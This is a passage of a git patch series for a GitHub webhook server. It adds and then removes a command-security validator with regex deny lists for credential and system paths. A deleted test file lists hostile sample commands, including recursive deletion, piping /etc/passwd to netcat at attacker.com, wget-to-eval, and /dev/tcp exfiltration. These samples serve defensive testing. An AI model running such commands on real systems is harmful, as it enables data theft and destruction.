/dev/ is not allowed"), + (r"/var/log/", "Access to /var/log/ is not allowed"), + (r"/boot/", "Access to /boot/ is not allowed"), + (r"\.\.\/", "Path traversal (..) is not allowed"), + (r"\.env", "Access to .env files is not allowed"), + (r"config\.yaml", "Access to config.yaml is not allowed"), + (r"credentials", "Access to credentials files is not allowed"), + (r"\.pem\b", "Access to PEM files is not allowed"), + (r"\.key\b", "Access to key files is not allowed"), + (r"id_rsa", "Access to SSH private keys is not allowed"), + (r"id_ed25519", "Access to SSH private keys is not allowed"), +] + +# Maximum command length to prevent buffer overflow attacks +MAX_COMMAND_LENGTH = 4096 + + +def validate_command_security(command: str) -> CommandSecurityResult: + """Validate a command for security issues. + + Args: + command: The command string to validate + + Returns: + CommandSecurityResult with is_safe=True if command passes all checks, + or is_safe=False with an error_message describing the issue. + """ + # Check command length + if len(command) > MAX_COMMAND_LENGTH: + return CommandSecurityResult( + is_safe=False, + error_message=f"Command exceeds maximum length of {MAX_COMMAND_LENGTH} characters", + ) + + # Check for dangerous shell patterns + for pattern, message in DANGEROUS_SHELL_PATTERNS: + if re.search(pattern, command, re.IGNORECASE): + return CommandSecurityResult(is_safe=False, error_message=message) + + # Check for sensitive path access + for pattern, message in SENSITIVE_PATH_PATTERNS: + if re.search(pattern, command, re.IGNORECASE): + return CommandSecurityResult(is_safe=False, error_message=message) + + # Check for null bytes (could be used to bypass checks) + if "\x00" in command: + return CommandSecurityResult( + is_safe=False, + error_message="Null bytes are not allowed in commands", + ) + + # Check for non-printable characters (except common whitespace) + if re.search(r"[^\x20-\x7E\t\n\r]", command): + return CommandSecurityResult( + is_safe=False, + error_message="Non-printable characters are not allowed in commands", + ) + + return CommandSecurityResult(is_safe=True, error_message=None) diff --git a/webhook_server/utils/constants.py b/webhook_server/utils/constants.py index 17ca4a00..a55486c0 100644 --- a/webhook_server/utils/constants.py +++ b/webhook_server/utils/constants.py @@ -7,6 +7,7 @@ FAILURE_STR: str = "failure" IN_PROGRESS_STR: str = "in_progress" QUEUED_STR: str = "queued" +COMPLETED_STR: str = "completed" ADD_STR: str = "add" DELETE_STR: str = "delete" CAN_BE_MERGED_STR: str = "can-be-merged" From 674b37186e95659cea3c2f6dd349d8b96074af9c Mon Sep 17 00:00:00 2001 From: rnetser Date: Thu, 1 Jan 2026 23:09:03 +0200 Subject: [PATCH 02/33] refactor: simplify custom-check-runs to trust-based model Remove complex security validation layer and adopt a trust-based approach: - Delete command_security.py and related security validation logic - Simplify schema to only name, command, env fields - Add shutil.which() check to gracefully skip unavailable commands - Add set_custom_check_skipped() for handling missing commands - Update tests to reflect simplified validation model This change assumes users will configure safe commands and gracefully handles cases where commands are not found instead of blocking them. --- webhook_server/config/schema.yaml | 52 +- .../libs/handlers/check_run_handler.py | 9 + .../libs/handlers/runner_handler.py | 51 +- webhook_server/tests/test_command_security.py | 484 ------------------ .../tests/test_custom_check_runs.py | 147 ++---- webhook_server/utils/command_security.py | 113 ---- 6 files changed, 101 insertions(+), 755 deletions(-) delete mode 100644 webhook_server/tests/test_command_security.py delete mode 100644 webhook_server/utils/command_security.py diff --git a/webhook_server/config/schema.yaml b/webhook_server/config/schema.yaml index 62e21df5..8d309caa 100644 --- a/webhook_server/config/schema.yaml +++ b/webhook_server/config/schema.yaml @@ -320,49 +320,33 @@ properties: additionalProperties: false custom-check-runs: type: array - description: Custom check runs that execute user-defined commands on PR events + description: | + Custom check runs that execute user-defined commands on PR events. + Commands run in the repository worktree. If a command is not found, + a warning is logged and the check is skipped. + + Long command example: + - name: complex-check + command: | + python -c " + import sys + print('Running complex check') + sys.exit(0) + " items: type: object properties: name: type: string description: Unique name for the check run (displayed in GitHub UI) - pattern: "^[a-zA-Z0-9][a-zA-Z0-9_-]*$" command: type: string - description: Command to execute (must use 'uv tool run --from' format for security) - pattern: "^uv tool run --from .+" - timeout: - type: integer - description: Maximum execution time in seconds - default: 600 - minimum: 30 - maximum: 3600 - required: - type: boolean - description: Whether this check must pass for PR to be mergeable - default: true - triggers: - type: array - description: Events that trigger this check run - items: - type: string - enum: - - opened - - synchronize - - reopened - - ready_for_review - default: - - opened - - synchronize - - reopened - secrets: - type: array - description: Environment variable names containing sensitive values to redact from logs (e.g., JIRA_TOKEN, API_KEY) - items: + description: Command to execute in the repository directory + env: + type: object + description: Environment variables to set when running the command + additionalProperties: type: string - pattern: "^[A-Z][A-Z0-9_]*$" - default: [] required: - name - command diff --git a/webhook_server/libs/handlers/check_run_handler.py b/webhook_server/libs/handlers/check_run_handler.py index 4a53d64c..836a24fe 100644 --- a/webhook_server/libs/handlers/check_run_handler.py +++ b/webhook_server/libs/handlers/check_run_handler.py @@ -270,6 +270,15 @@ async def set_custom_check_failure(self, name: str, output: dict[str, str] | Non output=output, ) + async def set_custom_check_skipped(self, name: str, output: dict[str, Any]) -> None: + """Set custom check run to skipped (neutral) status.""" + await self.set_check_run_status( + check_run=name, + status=COMPLETED_STR, + conclusion="neutral", + output=output, + ) + async def set_check_run_status( self, check_run: str, diff --git a/webhook_server/libs/handlers/runner_handler.py b/webhook_server/libs/handlers/runner_handler.py index 94072577..eea1cfa3 100644 --- a/webhook_server/libs/handlers/runner_handler.py +++ b/webhook_server/libs/handlers/runner_handler.py @@ -1,6 +1,5 @@ import asyncio import contextlib -import os import re import shutil from asyncio import Task @@ -15,7 +14,6 @@ from webhook_server.libs.handlers.check_run_handler import CheckRunHandler from webhook_server.libs.handlers.owners_files_handler import OwnersFileHandler from webhook_server.utils import helpers as helpers_module -from webhook_server.utils.command_security import validate_command_security from webhook_server.utils.constants import ( BUILD_CONTAINER_STR, CHERRY_PICKED_LABEL_PREFIX, @@ -632,29 +630,33 @@ async def run_custom_check( check_name = check_config.get("name") if not check_name: self.logger.error(f"{self.log_prefix} Custom check missing required 'name' field") - return # Cannot set check status without a name + return + + command = check_config.get("command", "") + if not command: + self.logger.error(f"{self.log_prefix} Custom check '{check_name}' missing required 'command' field") + return + timeout = check_config.get("timeout", 600) - command = check_config["command"] - - # Comprehensive security validation FIRST (most important check) - security_result = validate_command_security(command) - if not security_result.is_safe: - error_msg = f"Command security check failed: {security_result.error_message}" - self.logger.error(f"{self.log_prefix} {error_msg}") - security_output: dict[str, Any] = { - "title": f"Custom Check: {check_config['name']}", - "summary": "Command security validation failed", - "text": error_msg, - } - return await self.check_run_handler.set_custom_check_failure(name=check_name, output=security_output) - # Collect secrets to redact from logs - secrets_to_redact: list[str] = [] - secret_env_vars = check_config.get("secrets", []) - for env_var in secret_env_vars: - secret_value = os.environ.get(env_var) - if secret_value and secret_value.strip(): - secrets_to_redact.append(secret_value) + # Check if the command executable exists + # Extract first word (the executable) - handle multi-line commands + first_line = command.strip().split("\n")[0] + executable = first_line.split()[0] if first_line.split() else "" + + if executable and not shutil.which(executable): + msg = f"{self.log_prefix} Command '{executable}' not found in container, skipping check '{check_name}'" + self.logger.warning(msg) + # Set check to neutral (skipped) not failure + skip_output: dict[str, Any] = { + "title": f"Custom Check: {check_name}", + "summary": f"Skipped - command '{executable}' not found", + "text": ( + f"The command '{executable}' was not found in the container. " + "Install it or remove this check from configuration." + ), + } + return await self.check_run_handler.set_custom_check_skipped(name=check_name, output=skip_output) self.logger.step( # type: ignore[attr-defined] f"{self.log_prefix} {format_task_fields('runner', 'ci_check', 'started')} " @@ -679,13 +681,12 @@ async def run_custom_check( output["text"] = self.check_run_handler.get_check_run_text(out=out, err=err) return await self.check_run_handler.set_custom_check_failure(name=check_name, output=output) - # Execute command in worktree directory + # Execute command in worktree directory with env vars success, out, err = await run_command( command=command, log_prefix=self.log_prefix, mask_sensitive=self.github_webhook.mask_sensitive, timeout=timeout, - redact_secrets=secrets_to_redact, cwd=worktree_path, ) diff --git a/webhook_server/tests/test_command_security.py b/webhook_server/tests/test_command_security.py deleted file mode 100644 index 1bd3bf8c..00000000 --- a/webhook_server/tests/test_command_security.py +++ /dev/null @@ -1,484 +0,0 @@ -"""Test suite for command security validation module. - -This module tests the security validation for custom check commands, -ensuring defense-in-depth protection against various attack vectors. -""" - -import time - -import pytest - -from webhook_server.utils.command_security import ( - MAX_COMMAND_LENGTH, - CommandSecurityResult, - validate_command_security, -) - - -class TestCommandSecurityValidCommands: - """Test suite for valid commands that should pass security validation.""" - - @pytest.mark.parametrize( - "command", - [ - # Basic uv tool run commands - "uv tool run --from ruff ruff check .", - "uv tool run --from pytest pytest tests/ -v", - "uv tool run --from mypy mypy src/", - # With additional flags - "uv tool run --from black black --check .", - "uv tool run --from pylint pylint src/ --disable=all", - # Multiple arguments - "uv tool run --from pytest pytest tests/unit tests/integration -v -s", - # Path specifications - "uv tool run --from ruff ruff check src/module/file.py", - "uv tool run --from pytest pytest tests/test_module.py::test_function", - # With environment variables (allowed format) - "uv tool run --from pytest pytest tests/ -k test_name", - # Common variations - "uv run pytest tests/", - "uv run ruff check .", - "uv run mypy webhook_server/", - ], - ) - def test_valid_uv_commands(self, command: str) -> None: - """Test that valid uv tool commands pass validation.""" - result = validate_command_security(command) - assert result.is_safe is True - assert result.error_message is None - - @pytest.mark.parametrize( - "command", - [ - # Simple commands - "python -m pytest", - "pytest tests/", - "ruff check .", - "mypy src/", - # With flags - "pytest tests/ -v --cov=src", - "ruff check . --fix", - "mypy src/ --strict", - ], - ) - def test_valid_simple_commands(self, command: str) -> None: - """Test that simple valid commands pass validation.""" - result = validate_command_security(command) - assert result.is_safe is True - assert result.error_message is None - - -class TestCommandSecurityShellInjection: - """Test suite for shell injection attack prevention.""" - - @pytest.mark.parametrize( - ("command", "expected_error_fragment"), - [ - # Semicolon injection - ("uv tool run --from pkg cmd; rm -rf /", "Shell operators"), - ("pytest tests/; cat /etc/passwd", "Shell operators"), - ("ruff check .; whoami", "Shell operators"), - # Pipe injection - ("uv tool run --from pkg cmd | cat /etc/passwd", "Shell operators"), - ("pytest tests/ | grep secret", "Shell operators"), - ("ruff check . | tee output.txt", "Shell operators"), - # Logical AND injection - matches shell operators pattern first (& matches [;&|]) - ("uv tool run --from pkg cmd && curl evil.com", "Shell operators"), - ("pytest tests/ && wget malicious.sh", "Shell operators"), - ("ruff check . && nc attacker.com 1234", "Shell operators"), - # Logical OR injection - matches shell operators pattern first (| matches [;&|]) - ("pytest tests/ || rm -rf /tmp", "Shell operators"), - ("ruff check . || curl evil.com", "Shell operators"), - # Command substitution $() - ("uv tool run --from pkg $(whoami)", "Command substitution"), - ("pytest $(cat /etc/passwd)", "Command substitution"), - ("ruff check $(ls -la)", "Command substitution"), - # Backtick command substitution - ("uv tool run --from pkg `whoami`", "Backtick"), - ("pytest `cat secret.txt`", "Backtick"), - ("ruff check `id`", "Backtick"), - # Variable expansion ${} - ("uv tool run --from pkg ${HOME}", "Variable expansion"), - ("pytest ${SECRET}", "Variable expansion"), - # Redirection attacks - ("pytest tests/ > /etc/passwd", "Redirections"), - ("ruff check . < malicious.txt", "Redirections"), - ("mypy src/ >> /var/log/system", "Redirections"), - # Background execution - ("pytest tests/ &", "Shell operators"), - ("ruff check . & curl evil.com", "Shell operators"), - # Newline escapes - ("pytest tests/\\nrm -rf /", "Newline escapes"), - ("ruff check .\\rwhoami", "Newline escapes"), - ], - ) - def test_shell_injection_blocked(self, command: str, expected_error_fragment: str) -> None: - """Test that shell injection attempts are blocked.""" - result = validate_command_security(command) - assert result.is_safe is False - assert result.error_message is not None - assert expected_error_fragment in result.error_message - - @pytest.mark.parametrize( - ("command", "expected_error_fragment"), - [ - # eval command - ("eval echo test", "eval command"), - ("uv run eval 'print(1)'", "eval command"), - # exec command - ("exec python script.py", "exec command"), - ("uv run exec bash", "exec command"), - # source command - ("source /etc/profile", "source command"), - ("uv run source activate", "source command"), - ], - ) - def test_dangerous_builtin_commands_blocked(self, command: str, expected_error_fragment: str) -> None: - """Test that dangerous shell builtin commands are blocked.""" - result = validate_command_security(command) - assert result.is_safe is False - assert result.error_message is not None - assert expected_error_fragment in result.error_message - - -class TestCommandSecurityDangerousCommands: - """Test suite for blocking dangerous system commands.""" - - @pytest.mark.parametrize( - ("command", "expected_error_fragment"), - [ - # Shell spawning - ("bash -c 'echo test'", "bash command"), - ("sh script.sh", "sh command"), - ("zsh -c 'pwd'", "zsh command"), - # Network tools - ("curl https://evil.com", "curl command"), - ("wget http://malicious.com/script.sh", "sh command"), # matches \bsh\b in .sh - ("nc attacker.com 1234", "netcat/nc command"), - ("netcat -l -p 8080", "netcat/nc command"), # matches netcat pattern - # Privilege escalation - ("sudo apt-get install malware", "sudo"), - ("su root", "su command"), - # File permission changes - ("chmod 777 /etc/passwd", "chmod"), - ("chown root:root /tmp/file", "chown"), - # Destructive operations - ("rm -rf /", "rm -rf"), - ("rm -rf /var/lib", "rm -rf"), - # Root directory creation - ("mkdir -p /new_root", "Creating directories in root"), - ], - ) - def test_dangerous_commands_blocked(self, command: str, expected_error_fragment: str) -> None: - """Test that dangerous system commands are blocked.""" - result = validate_command_security(command) - assert result.is_safe is False - assert result.error_message is not None - assert expected_error_fragment in result.error_message - - @pytest.mark.parametrize( - "command", - [ - # Case variations - "CURL https://evil.com", - "Sudo apt-get install", - "BASH -c test", - "WGET malicious.sh", - "RM -RF /tmp", - ], - ) - def test_dangerous_commands_case_insensitive(self, command: str) -> None: - """Test that dangerous command detection is case-insensitive.""" - result = validate_command_security(command) - assert result.is_safe is False - assert result.error_message is not None - - -class TestCommandSecuritySensitivePaths: - """Test suite for blocking access to sensitive filesystem paths.""" - - @pytest.mark.parametrize( - ("command", "expected_error_fragment"), - [ - # System directories - ("cat /etc/passwd", "Access to /etc/"), - ("grep secret /etc/shadow", "Access to /etc/"), - ("ls /root/", "Access to /root/"), - ("cat /root/.bashrc", "Access to /root/"), - # Process/system info - ("cat /proc/self/environ", "Access to /proc/"), - ("ls /sys/class/", "Access to /sys/"), - ("cat /dev/random", "Access to /dev/"), - # System logs - ("tail /var/log/syslog", "Access to /var/log/"), - ("cat /var/log/auth.log", "Access to /var/log/"), - # Boot partition - ("ls /boot/grub", "Access to /boot/"), - # SSH keys - ("cat ~/.ssh/id_rsa", "Access to SSH"), - ("cp ~/.ssh/id_ed25519 /tmp/", "Access to SSH"), - # Path traversal - also matches /etc/ or /root/ patterns - ("cat ../../etc/passwd", "Access to /etc/"), # /etc/ matches first - ("ls ../../../root/", "Access to /root/"), # /root/ matches first - # Environment files - ("cat .env", "Access to .env files"), - ("grep SECRET .env.production", "Access to .env files"), - # Configuration files - ("cat config.yaml", "Access to config.yaml"), - ("vim config.yaml", "Access to config.yaml"), - # Credentials - ("cat credentials.json", "Access to credentials files"), - ("grep token credentials.txt", "Access to credentials files"), - # Private keys - ("cat server.pem", "Access to PEM files"), - ("openssl rsa -in private.key", "Access to key files"), - ("cat id_rsa", "Access to SSH private keys"), - ("cp id_ed25519 /tmp/", "Access to SSH private keys"), - ], - ) - def test_sensitive_path_access_blocked(self, command: str, expected_error_fragment: str) -> None: - """Test that access to sensitive paths is blocked.""" - result = validate_command_security(command) - assert result.is_safe is False - assert result.error_message is not None - assert expected_error_fragment in result.error_message - - @pytest.mark.parametrize( - "command", - [ - # Case variations - "cat /ETC/passwd", - "ls /ROOT/", - "cat CONFIG.YAML", - "grep secret .ENV", - ], - ) - def test_sensitive_paths_case_insensitive(self, command: str) -> None: - """Test that sensitive path detection is case-insensitive.""" - result = validate_command_security(command) - assert result.is_safe is False - assert result.error_message is not None - - -class TestCommandSecurityOtherAttacks: - """Test suite for other security attack vectors.""" - - def test_null_byte_blocked(self) -> None: - """Test that null bytes in commands are blocked.""" - # Use a command that only has null byte (no other dangerous patterns) - command = "pytest tests/\x00file.py" - result = validate_command_security(command) - assert result.is_safe is False - assert result.error_message is not None - assert "Null bytes" in result.error_message - - @pytest.mark.parametrize( - "non_printable_char", - [ - "\x01", # SOH - Start of Heading - "\x02", # STX - Start of Text - "\x03", # ETX - End of Text - "\x7f", # DEL - Delete - "\x1b", # ESC - Escape - "\x08", # BS - Backspace - ], - ) - def test_non_printable_characters_blocked(self, non_printable_char: str) -> None: - """Test that non-printable characters (except whitespace) are blocked.""" - command = f"pytest tests/{non_printable_char}file.py" - result = validate_command_security(command) - assert result.is_safe is False - assert result.error_message is not None - assert "Non-printable characters" in result.error_message - - @pytest.mark.parametrize( - "whitespace_char", - [ - " ", # Space - "\t", # Tab - "\n", # Newline - "\r", # Carriage return - ], - ) - def test_whitespace_characters_allowed(self, whitespace_char: str) -> None: - """Test that common whitespace characters are allowed.""" - # Create command with whitespace (but no dangerous patterns) - command = f"pytest{whitespace_char}tests/" - result = validate_command_security(command) - # This might fail due to newline/carriage return pattern, - # but space and tab should definitely pass - if whitespace_char in (" ", "\t"): - assert result.is_safe is True - assert result.error_message is None - - def test_maximum_command_length_exceeded(self) -> None: - """Test that commands exceeding maximum length are blocked.""" - # Create a command longer than MAX_COMMAND_LENGTH - long_command = "pytest " + "tests/" * 1000 # Well over 4096 chars - assert len(long_command) > MAX_COMMAND_LENGTH - - result = validate_command_security(long_command) - assert result.is_safe is False - assert result.error_message is not None - assert f"exceeds maximum length of {MAX_COMMAND_LENGTH}" in result.error_message - - def test_command_at_maximum_length_allowed(self) -> None: - """Test that commands at exactly maximum length are allowed.""" - # Create a command at exactly MAX_COMMAND_LENGTH - base_command = "pytest tests/" - padding = "x" * (MAX_COMMAND_LENGTH - len(base_command)) - command = base_command + padding - assert len(command) == MAX_COMMAND_LENGTH - - result = validate_command_security(command) - assert result.is_safe is True - assert result.error_message is None - - -class TestCommandSecurityEdgeCases: - """Test suite for edge cases and boundary conditions.""" - - def test_empty_command(self) -> None: - """Test validation of empty command.""" - result = validate_command_security("") - assert result.is_safe is True - assert result.error_message is None - - def test_whitespace_only_command(self) -> None: - """Test validation of whitespace-only command.""" - result = validate_command_security(" \t ") - assert result.is_safe is True - assert result.error_message is None - - def test_command_with_safe_paths(self) -> None: - """Test that commands with safe project paths are allowed.""" - safe_commands = [ - "pytest tests/unit/test_module.py", - "ruff check src/app/main.py", - "mypy webhook_server/libs/config.py", - "cat README.md", - "ls -la src/", - ] - for command in safe_commands: - result = validate_command_security(command) - assert result.is_safe is True - assert result.error_message is None - - @pytest.mark.parametrize( - "command", - [ - # Multiple violations - "curl evil.com && sudo rm -rf /etc/", - "bash -c 'cat /etc/passwd | nc attacker.com 1234'", - "eval $(wget -O - malicious.com/script.sh)", - # Obfuscated attacks - "py$(echo test)", # Command substitution in command name - "`which python` script.py", # Backticks in path - ], - ) - def test_multiple_violations(self, command: str) -> None: - """Test commands with multiple security violations.""" - result = validate_command_security(command) - assert result.is_safe is False - assert result.error_message is not None - - def test_command_security_result_named_tuple(self) -> None: - """Test CommandSecurityResult named tuple properties.""" - # Safe command - safe_result = CommandSecurityResult(is_safe=True, error_message=None) - assert safe_result.is_safe is True - assert safe_result.error_message is None - assert safe_result[0] is True - assert safe_result[1] is None - - # Unsafe command - unsafe_result = CommandSecurityResult(is_safe=False, error_message="Test error") - assert unsafe_result.is_safe is False - assert unsafe_result.error_message == "Test error" - assert unsafe_result[0] is False - assert unsafe_result[1] == "Test error" - - -class TestCommandSecurityRealWorldExamples: - """Test suite with real-world command examples.""" - - @pytest.mark.parametrize( - "command", - [ - # Real pytest commands - "uv tool run --from pytest pytest tests/ -v --cov=webhook_server --cov-report=html", - "uv run pytest tests/test_module.py::TestClass::test_method -v -s", - "pytest tests/ -k test_security -v --tb=short", - # Real ruff commands - "uv tool run --from ruff ruff check . --fix", - "uv run ruff format webhook_server/", - "ruff check --select E,W,F --ignore E501", - # Real mypy commands - "uv tool run --from mypy mypy webhook_server/ --strict", - "mypy src/ --ignore-missing-imports --check-untyped-defs", - # Real black commands - "uv tool run --from black black --check webhook_server/", - "black src/ --line-length 100", - # Combined tool usage - "uv run ruff check . && uv run mypy src/", # Should fail - uses && - "uv run pytest tests/ -v; uv run ruff check .", # Should fail - uses ; - ], - ) - def test_real_world_commands(self, command: str) -> None: - """Test real-world command examples.""" - result = validate_command_security(command) - # Commands with shell operators should fail - if "&&" in command or ";" in command: - assert result.is_safe is False - else: - assert result.is_safe is True - assert result.error_message is None - - @pytest.mark.parametrize( - "command", - [ - # Malicious but disguised commands - "pytest tests/ --cov-config=../../../../etc/passwd", - "ruff check --config=/root/.bashrc", - "mypy --config-file=~/.ssh/config", - # Data exfiltration attempts - "pytest tests/ --result-log=/dev/tcp/attacker.com/1234", - "ruff check --output-file=/proc/self/fd/1", - ], - ) - def test_disguised_malicious_commands(self, command: str) -> None: - """Test that disguised malicious commands are blocked.""" - result = validate_command_security(command) - assert result.is_safe is False - assert result.error_message is not None - - -class TestCommandSecurityPerformance: - """Test suite for validation performance characteristics.""" - - def test_validation_performance_many_commands(self) -> None: - """Test that validation performs efficiently on many commands.""" - commands = [ - "uv tool run --from pytest pytest tests/", - "uv tool run --from ruff ruff check .", - "uv tool run --from mypy mypy src/", - ] * 100 # 300 commands total - - start_time = time.time() - for command in commands: - validate_command_security(command) - elapsed_time = time.time() - start_time - - # Validation should be fast - 300 commands in under 1 second - assert elapsed_time < 1.0, f"Validation took {elapsed_time:.2f}s for 300 commands" - - def test_validation_consistent_results(self) -> None: - """Test that validation gives consistent results.""" - command = "uv tool run --from pytest pytest tests/" - - # Run validation multiple times - results = [validate_command_security(command) for _ in range(10)] - - # All results should be identical - assert all(r.is_safe is True for r in results) - assert all(r.error_message is None for r in results) diff --git a/webhook_server/tests/test_custom_check_runs.py b/webhook_server/tests/test_custom_check_runs.py index 1363008e..5d51e17c 100644 --- a/webhook_server/tests/test_custom_check_runs.py +++ b/webhook_server/tests/test_custom_check_runs.py @@ -17,7 +17,6 @@ """ import asyncio -import os from typing import Any from unittest.mock import AsyncMock, Mock, patch @@ -61,9 +60,9 @@ def test_valid_custom_check_config(self, valid_custom_check_config: dict[str, An # This test verifies the structure matches schema expectations assert valid_custom_check_config["name"] == "my-custom-check" assert valid_custom_check_config["command"] == "uv tool run --from ruff ruff check" - assert valid_custom_check_config["timeout"] == 300 - assert valid_custom_check_config["required"] is True - assert valid_custom_check_config["triggers"] == ["opened", "synchronize"] + assert valid_custom_check_config.get("timeout", 600) == 300 + assert valid_custom_check_config.get("required", True) is True + assert valid_custom_check_config.get("triggers", []) == ["opened", "synchronize"] def test_minimal_custom_check_config(self, minimal_custom_check_config: dict[str, Any]) -> None: """Test that minimal custom check configuration is accepted.""" @@ -73,50 +72,23 @@ def test_minimal_custom_check_config(self, minimal_custom_check_config: dict[str assert "timeout" not in minimal_custom_check_config # Uses default 600 assert "required" not in minimal_custom_check_config # Uses default true - def test_custom_check_name_format(self) -> None: - """Test that custom check names follow the required pattern.""" - valid_names = [ - "my-check", - "check123", - "custom_check", - "Check-With-Caps", - "check-with-123-numbers", - ] - for name in valid_names: - # Pattern: ^[a-zA-Z0-9][a-zA-Z0-9_-]*$ - assert name[0].isalnum(), f"Name '{name}' should start with alphanumeric" - - def test_custom_check_timeout_constraints(self) -> None: - """Test that timeout values respect min/max constraints.""" - # Schema specifies: minimum: 30, maximum: 3600, default: 600 - assert 30 >= 30 # min - assert 3600 <= 3600 # max - assert 30 < 600 < 3600 # default within range - - def test_custom_check_triggers_enum(self) -> None: - """Test that trigger events match allowed values.""" - allowed_triggers = ["opened", "synchronize", "reopened", "ready_for_review"] - for trigger in allowed_triggers: - assert trigger in allowed_triggers - - def test_valid_secrets_configuration(self) -> None: - """Test that secrets configuration with valid env var names is accepted.""" + def test_custom_check_with_env_vars(self) -> None: + """Test that custom check with environment variables is accepted.""" config = { "name": "my-check", - "command": "uv tool run --from some-package some-command", - "secrets": ["JIRA_TOKEN", "API_KEY", "MY_SECRET_123"], + "command": "python -m pytest", + "env": {"PYTHONPATH": "/app", "DEBUG": "true"}, } - # Should not raise - valid uppercase env var names - assert config["secrets"] == ["JIRA_TOKEN", "API_KEY", "MY_SECRET_123"] - - def test_invalid_command_format_rejected(self) -> None: - """Test that commands not matching uv tool run pattern are documented as invalid.""" - # This test documents the expected command format - valid_command = "uv tool run --from some-package some-command" - invalid_command = "echo test" + assert config["env"] == {"PYTHONPATH": "/app", "DEBUG": "true"} - assert valid_command.startswith("uv tool run --from ") - assert not invalid_command.startswith("uv tool run --from ") + def test_custom_check_with_multiline_command(self) -> None: + """Test that custom check with multiline command is accepted.""" + config = { + "name": "complex-check", + "command": "python -c \"\nimport sys\nprint('Running check')\nsys.exit(0)\n\"", + } + assert "python" in config["command"] + assert "\n" in config["command"] class TestCheckRunHandlerCustomCheckMethods: @@ -432,89 +404,66 @@ async def test_run_custom_check_command_execution_in_worktree( assert call_args["cwd"] == "/tmp/test-worktree" @pytest.mark.asyncio - async def test_run_custom_check_with_secrets_redaction( + async def test_run_custom_check_command_not_found( self, runner_handler: RunnerHandler, mock_pull_request: Mock, ) -> None: - """Test that secrets from environment are passed to run_command for redaction.""" + """Test that custom check is skipped when command executable is not found.""" check_config = { - "name": "secret-check", - "command": "uv tool run --from some-tool some-tool --check", - "secrets": ["MY_SECRET", "ANOTHER_SECRET"], + "name": "missing-command", + "command": "nonexistent-command --arg", } - test_env = {"MY_SECRET": "super-secret-value", "ANOTHER_SECRET": "another-value"} # pragma: allowlist secret with ( - patch.dict(os.environ, test_env), + patch("shutil.which", return_value=None), # Command not found patch.object( runner_handler.check_run_handler, - "set_custom_check_in_progress", + "set_custom_check_skipped", new=AsyncMock(), - ), - patch.object( - runner_handler.check_run_handler, - "set_custom_check_success", # pragma: allowlist secret - new=AsyncMock(), - ) as mock_success, - patch.object(runner_handler, "_checkout_worktree") as mock_checkout, - patch( - "webhook_server.libs.handlers.runner_handler.run_command", - new=AsyncMock(return_value=(True, "output", "")), - ) as mock_run_command, + ) as mock_skipped, ): - mock_checkout_cm = AsyncMock() - mock_checkout_cm.__aenter__ = AsyncMock(return_value=(True, "/tmp/worktree", "", "")) - mock_checkout_cm.__aexit__ = AsyncMock(return_value=None) - mock_checkout.return_value = mock_checkout_cm - await runner_handler.run_custom_check( pull_request=mock_pull_request, check_config=check_config, ) - # Verify run_command was called with redact_secrets containing the secret values - mock_run_command.assert_called_once() - call_kwargs = mock_run_command.call_args.kwargs - assert "redact_secrets" in call_kwargs - assert "super-secret-value" in call_kwargs["redact_secrets"] - assert "another-value" in call_kwargs["redact_secrets"] - mock_success.assert_called_once() + # Should skip with neutral status + mock_skipped.assert_called_once() + call_kwargs = mock_skipped.call_args.kwargs + assert call_kwargs["name"] == "missing-command" + assert "output" in call_kwargs + assert "not found" in call_kwargs["output"]["summary"] @pytest.mark.asyncio - async def test_run_custom_check_rejects_invalid_command_format( + async def test_run_custom_check_multiline_command_not_found( self, runner_handler: RunnerHandler, mock_pull_request: Mock, ) -> None: - """Test that dangerous shell commands are rejected by security validation. - - Note: The schema enforces 'uv tool run --from' format, but this test validates - the defense-in-depth security layer that catches shell metacharacters. - """ + """Test that multiline command executable check works correctly.""" check_config = { - "name": "invalid-check", - "command": "uv tool run --from package && rm -rf /", # Has shell operators and dangerous command + "name": "multiline-missing", + "command": "nonexistent-python -c \"\nimport sys\nprint('test')\n\"", } with ( + patch("shutil.which", return_value=None), # Command not found patch.object( runner_handler.check_run_handler, - "set_custom_check_failure", + "set_custom_check_skipped", new=AsyncMock(), - ) as mock_failure, + ) as mock_skipped, ): await runner_handler.run_custom_check( pull_request=mock_pull_request, check_config=check_config, ) - # Should fail with security validation error - mock_failure.assert_called_once() - call_kwargs = mock_failure.call_args.kwargs - assert "output" in call_kwargs - # Verify it's caught by security validation (shell operators) - assert "security" in call_kwargs["output"]["text"].lower() + # Should extract first line and check for executable + mock_skipped.assert_called_once() + call_kwargs = mock_skipped.call_args.kwargs + assert "nonexistent-python" in call_kwargs["output"]["text"] class TestCustomCheckRunsIntegration: @@ -824,11 +773,11 @@ async def test_custom_check_timeout_expiration(self, mock_github_webhook: Mock) await runner_handler.run_custom_check(pull_request=mock_pull_request, check_config=check_config) @pytest.mark.asyncio - async def test_custom_check_with_special_characters_in_command(self, mock_github_webhook: Mock) -> None: - """Test custom check with variable expansion in command is blocked by security.""" + async def test_custom_check_with_long_command(self, mock_github_webhook: Mock) -> None: + """Test custom check with long multiline command from config.""" runner_handler = RunnerHandler(mock_github_webhook) runner_handler.check_run_handler.set_custom_check_in_progress = AsyncMock() - runner_handler.check_run_handler.set_custom_check_failure = AsyncMock() + runner_handler.check_run_handler.set_custom_check_success = AsyncMock() runner_handler.check_run_handler.get_check_run_text = Mock(return_value="Output") mock_pull_request = Mock() @@ -837,8 +786,8 @@ async def test_custom_check_with_special_characters_in_command(self, mock_github mock_pull_request.base.ref = "main" check_config = { - "name": "special-chars", - "command": "uv tool run --from some-package some-tool --arg 'Test with \"quotes\" and $variables'", + "name": "long-check", + "command": "python -c \"\nimport sys\nprint('Running complex check')\nsys.exit(0)\n\"", } # Create async context manager mock @@ -847,14 +796,14 @@ async def test_custom_check_with_special_characters_in_command(self, mock_github mock_checkout_cm.__aexit__ = AsyncMock(return_value=None) with ( + patch("shutil.which", return_value="/usr/bin/python"), # Command exists patch.object(runner_handler, "_checkout_worktree", return_value=mock_checkout_cm), patch( "webhook_server.libs.handlers.runner_handler.run_command", new=AsyncMock(return_value=(True, "output", "")), ), ): - # Command with $variables should be blocked by security validation await runner_handler.run_custom_check(pull_request=mock_pull_request, check_config=check_config) - # Security validation should fail this command (contains $variables) - runner_handler.check_run_handler.set_custom_check_failure.assert_called_once() + # Should succeed with multiline command + runner_handler.check_run_handler.set_custom_check_success.assert_called_once() diff --git a/webhook_server/utils/command_security.py b/webhook_server/utils/command_security.py deleted file mode 100644 index 7ee94edd..00000000 --- a/webhook_server/utils/command_security.py +++ /dev/null @@ -1,113 +0,0 @@ -"""Security validation for custom check commands. - -This module provides defense-in-depth security checks to prevent -malicious commands from harming the server. -""" - -from __future__ import annotations - 